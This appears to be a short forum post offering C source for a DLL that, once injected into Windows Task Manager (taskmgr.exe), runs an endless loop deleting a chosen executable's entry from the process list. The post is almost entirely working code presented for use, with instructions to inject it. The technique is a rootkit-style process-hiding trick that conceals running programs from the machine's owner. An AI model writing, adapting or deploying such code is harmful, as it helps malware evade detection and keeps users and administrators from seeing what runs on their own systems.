Just inject this DLL into taskmgr.exe and it does the rest. Also, AbsoluteFatal helped.
#include <windows.h>
#include <commctrl.h>
DWORD WINAPI Thread(LPVOID)
{
LVFINDINFO Find;
Find.flags = LVFI_STRING;
Find.psz = "YOUR EXE NAME HERE"; // TYPE THE EXE YOU WANT TO REMOVE HERE
while(TRUE) {
HWND hManager = FindWindow(NULL, "Windows Task Manager");
HWND hDialog = FindWindowEx(hManager, NULL, "#32770", NULL);
HWND hList = FindWindowEx(hDialog, NULL, "SysListView32", "Processes");
int nItem = ListView_FindItem(hList, -1, &Find);
ListView_DeleteItem(hList, nItem);
}
return FALSE;
}
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if(fdwReason == DLL_PROCESS_ATTACH){
CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)&Thread, NULL, NULL, NULL);
}
return TRUE;
}